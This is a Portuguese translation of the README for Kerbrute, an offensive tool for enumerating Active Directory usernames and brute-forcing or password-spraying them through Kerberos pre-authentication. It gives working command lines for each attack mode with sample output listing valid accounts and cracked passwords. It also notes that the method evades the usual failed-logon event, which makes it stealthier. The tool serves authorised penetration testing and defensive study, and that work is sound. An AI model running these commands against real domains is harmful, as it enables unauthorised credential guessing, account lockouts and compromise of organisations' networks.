
Uma ferramenta para realizar força bruta na pré-autenticação Kerberos
Uma ferramenta para realizar ataques de força bruta e enumerar rapidamente contas válidas do Active Directory através da Pré-Autenticação Kerberos.
Baixe os binários mais recentes na página de releases para começar.
Esta ferramenta surgiu de alguns scripts em bash que escrevi há alguns anos para realizar força bruta usando o cliente Kerberos Heimdal do Linux. Queria algo que não exigisse privilégios para instalar um cliente Kerberos e, quando encontrei a incrível implementação pura em Go do Kerberos, gokrb5, decidi finalmente aprender Go e escrever isso.
Forçar senhas do Windows com Kerberos é muito mais rápido do que qualquer outra abordagem que conheço e potencialmente mais discreto, pois falhas de pré-autenticação não geram o evento "tradicional" An account failed to log on 4625. Com Kerberos, você pode validar um nome de usuário ou testar um login enviando apenas um quadro UDP para o KDC (Controlador de Domínio).
Para mais contexto e informações, confira minha palestra no Troopers 2019, Fun with LDAP and Kerberos (link a definir)
O Kerbrute possui três comandos principais:
Um domínio (-d) ou um controlador de domínio (--dc) deve ser especificado. Se um Controlador de Domínio não for informado, o KDC será resolvido via DNS.
Por padrão, o Kerbrute é multithread e usa 10 threads. Isso pode ser alterado com a opção -t.
A saída é registrada no stdout, mas um arquivo de log pode ser especificado com -o.
Por padrão, falhas não são registradas, mas isso pode ser alterado com -v.
Por último, o Kerbrute possui uma opção --safe. Quando ativada, se uma conta retornar como bloqueada, todas as threads serão abortadas para evitar o bloqueio de outras contas.
O comando help pode ser usado para mais informações
$ ./kerbrute -h
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (bc1d606) - 11/15/20 - Ronnie Flathers @ropnop
This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts
Usage:
kerbrute [command]
Available Commands:
bruteforce Bruteforce username:password combos, from a file or stdin
bruteuser Bruteforce a single user's password from a wordlist
help Help about any command
passwordspray Test a single password against a list of users
userenum Enumerate valid domain usernames via Kerberos
version Display version info and quit
Flags:
--dc string The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
--delay int Delay in millisecond between each attempt. Will always use single thread if set
-d, --domain string The full domain to use (e.g. contoso.com)
--downgrade Force downgraded encryption type (arcfour-hmac-md5)
--hash-file string File to save AS-REP hashes to (if any captured), otherwise just logged
-h, --help help for kerbrute
-o, --output string File to write logs to. Optional.
--safe Safe mode. Will abort if any user comes back as locked out. Default: FALSE
-t, --threads int Threads to use (default 10)
-v, --verbose Log failures and errors
Use "kerbrute [command] --help" for more information about a command.
Para enumerar nomes de usuários, o Kerbrute envia solicitações TGT sem pré-autenticação. Se o KDC responder com um erro PRINCIPAL UNKNOWN, o nome de usuário não existe. No entanto, se o KDC solicitar pré-autenticação, sabemos que o nome de usuário existe e seguimos em frente. Isso não causa falhas de login, portanto, não bloqueará nenhuma conta. Isso gera o evento do Windows ID 4768 se o log do Kerberos estiver ativado.
root@kali:~# ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:28:04 > Using KDC(s):
2019/03/06 21:28:04 > pdc01.lab.ropnop.com:88
2019/03/06 21:28:04 > [+] VALID USERNAME: [email protected]
2019/03/06 21:28:04 > [+] VALID USERNAME: [email protected]
2019/03/06 21:28:04 > Done! Tested 1001 usernames (2 valid) in 0.425 seconds
Com passwordspray, o Kerbrute realizará um ataque de força bruta horizontal contra uma lista de usuários do domínio. Isso é útil para testar uma ou duas senhas comuns quando você possui uma lista grande de usuários. AVISO: isso irá incrementar o contador de logins com falha e bloqueará as contas. Isso gerará ambos os IDs de evento 4768 - Um ticket de autenticação Kerberos (TGT) foi solicitado e 4771 - A pré-autenticação Kerberos falhou
root@kali:~# ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:37:29 > Using KDC(s):
2019/03/06 21:37:29 > pdc01.lab.ropnop.com:88
2019/03/06 21:37:35 > [+] VALID LOGIN: [email protected]:Password123
2019/03/06 21:37:37 > [+] VALID LOGIN: [email protected]:Password123
2019/03/06 21:37:37 > Done! Tested 2755 logins (2 successes) in 7.674 seconds
Este é um ataque de força bruta tradicional contra um nome de usuário. Execute isso apenas se tiver certeza de que não há política de bloqueio! Isso gerará ambos os IDs de evento 4768 - Um ticket de autenticação Kerberos (TGT) foi solicitado e 4771 - A pré-autenticação Kerberos falhou
root@kali:~# ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:38:24 > Using KDC(s):
2019/03/06 21:38:24 > pdc01.lab.ropnop.com:88
2019/03/06 21:38:27 > [+] VALID LOGIN: [email protected]:Summer2017
2019/03/06 21:38:27 > Done! Tested 1001 logins (1 successes) in 2.711 seconds
Este modo simplesmente lê combinações de usuário e senha (no formato usuário:senha) de um arquivo ou do stdin e as testa com a Pré-Autenticação Kerberos. Ele ignorará linhas em branco ou linhas com usuários/senhas vazios. Isso gerará ambos os IDs de evento 4768 - Um ticket de autenticação Kerberos (TGT) foi solicitado e 4771 - A pré-autenticação Kerberos falhou
$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 05/11/19 - Ronnie Flathers @ropnop
2019/05/11 18:40:56 > Using KDC(s):
2019/05/11 18:40:56 > pdc01.lab.ropnop.com:88
2019/05/11 18:40:56 > [+] VALID LOGIN: [email protected]:Password1234
2019/05/11 18:40:56 > Done! Tested 7 logins (1 successes) in 0.114 seconds
Você pode baixar os binários pré-compilados para Linux, Windows e Mac na página de releases. Se quiser viver no limite, você também pode instalar com Go:
$ go get github.com/ropnop/kerbrute
Com o repositório clonado, você também pode usar o Makefile para compilar para arquiteturas comuns:
$ make help
help: Show this help.
windows: Make Windows x86 and x64 Binaries
linux: Make Linux x86 and x64 Binaries
mac: Make Darwin (Mac) x86 and x64 Binaries
clean: Delete any binaries
all: Make Windows, Linux and Mac x86/x64 Binaries
$ make all
Done.
Building for windows amd64..
Building for windows 386..
Done.
Building for linux amd64...
Building for linux 386...
Done.
Building for mac amd64...
Building for mac 386...
Done.
$ ls dist/
kerbrute_darwin_386 kerbrute_linux_386 kerbrute_windows_386.exe
kerbrute_darwin_amd64 kerbrute_linux_amd64 kerbrute_windows_amd64.exe
Um grande agradecimento ao jcmturner por sua implementação pura em Go do KRB5: https://github.com/jcmturner/gokrb5 . Um projeto incrível e muito bem documentado. Não teria conseguido nada disso sem esse projeto.
Agradecimento ao audibleblink pela sugestão e implementação da opção delay!